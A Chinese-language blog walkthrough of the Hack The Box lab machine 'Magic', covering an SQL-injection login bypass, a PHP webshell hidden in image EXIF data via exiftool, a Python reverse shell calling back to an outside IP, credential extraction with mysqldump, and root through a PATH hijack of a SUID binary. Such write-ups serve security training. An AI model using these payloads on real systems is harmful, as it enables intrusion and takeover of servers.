Hack The Box-Magic

Magic

好长时间不做HTB的靶机都生疏了,前一阵子一直打CTF导致现在拿foothold简单到了escalation的时候就生疏的不行。

Foothold

只开放了22和80口,80口进去是一堆图片,左下方有登录按钮。是一个简单的sql注入,直接万能密钥进去。

进来之后是一个文件上传页面,扫了一下目录也没发现什么,看源代码发现所有的图片在两个地方存储,我们上传的图片会被存储在images/uploads/目录下。上传白名单只允许png、jpg、jpeg。看了一下服务器时apache的,利用解析漏洞上传php文件。不过直接把一句话木马写在里面不行,会被检查。后来我把检查代码拔下来了,长这样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if ($uploadOk === 1) {
// Check if image is actually png or jpg using magic bytes
$check = exif_imagetype($_FILES["image"]["tmp_name"]);
if (!in_array($check, $allowed)) {
echo "<script>alert('What are you trying to do there?')</script>";
$uploadOk = 0;
}
}
//Check file contents
/*$image = file_get_contents($_FILES["image"]["tmp_name"]);
if (strpos($image, "<?") !== FALSE) {
echo "<script>alert('Detected \"\<\?\". PHP is not allowed!')</script>";
$uploadOk = 0;
}*/

// Check if $uploadOk is set to 0 by an error
if ($uploadOk === 1) {
if (move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) {
echo "The file " . basename($_FILES["image"]["name"]) . " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}

用exiftool工具把木马写到图片里。exif就是图片的信息,比如在哪拍的啥时候拍的等等。

1
exiftool -DocumentName="<h1>RAZZOR<br><?php if(isset(\$_REQUEST['cmd'])){echo '<pre>';\$cmd = (\$_REQUEST['cmd']);system(\$cmd);echo '</pre>';} __halt_compiler();?></h1>" image.jpeg

用二进制工具打开图片看一下,写在了图片二进制数据前面的部分,可能这个位置有讲究?

反正挺好用的,传上去了打了个webshell,执行命令弹shell到本地。

1
http://10.10.10.185/images/uploads/backdoor.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.159",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

但我弹到本地的还不是个terminal,起码服务器觉得不是,再一步做个shell。

1
2
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py

User

然后就是提权了,看了看目录,/var/www/下有两个目录,一个Magic另一个htmlhtml目录下什么也没有倒是Magic目录下直接就有db.php5这种可疑文件,我之前拔的检查代码也在这。打开直接看到了数据库用户名密码。

1
2
3
4
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';

用这组用户名密码登录theseus用户提示密码不对,那看来还有别的密码。既然有数据库了那就用mysql登录一下看看里面内容,结果一输入竟然提示mysql没安装???我晕。不过没关系,没有mysql也能查看里面内容。执行下面命令将mysql数据库dump出来,不需要登录。

1
mysqldump -u theseus -p iamkingtheseus -A

果然看到了一个密码,用这个密码成功登录theseus用户。

1
2
3
4
5
6
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

Root

theseus用户没什么特权命令,找一下能以root权限执行的可执行文件

1
find / -perm -u=s -type f 2>/dev/null

发现其中有个文件叫做sysinfo,诶?耳熟,仿佛在windows里面听过啊。执行一下,发现和Linux命令中lshw命令效果几乎相同,看来这个可执行文件源代码中应该是调用了lshw命令。参考文章Linux下通过$PATH变量提权直接打到了root权限。

1
2
3
4
5
6
cd/tmp
echo "/bin/bash" > lshw
echo $PATH
export PATH=/tmp:$PATH
cd /bin
./sysinfo

执行完上面一串命令之后用户直接变成了root(神奇)。

总结

前面的都挺简单,感觉半小时就能完事儿,唯一的难点在于文件上传检测用了exif_imagetype函数,做马的时候得注意注意。然后root那里存粹是考察对于Linux的命令熟悉程度和知识的广泛性,不会就是真不会。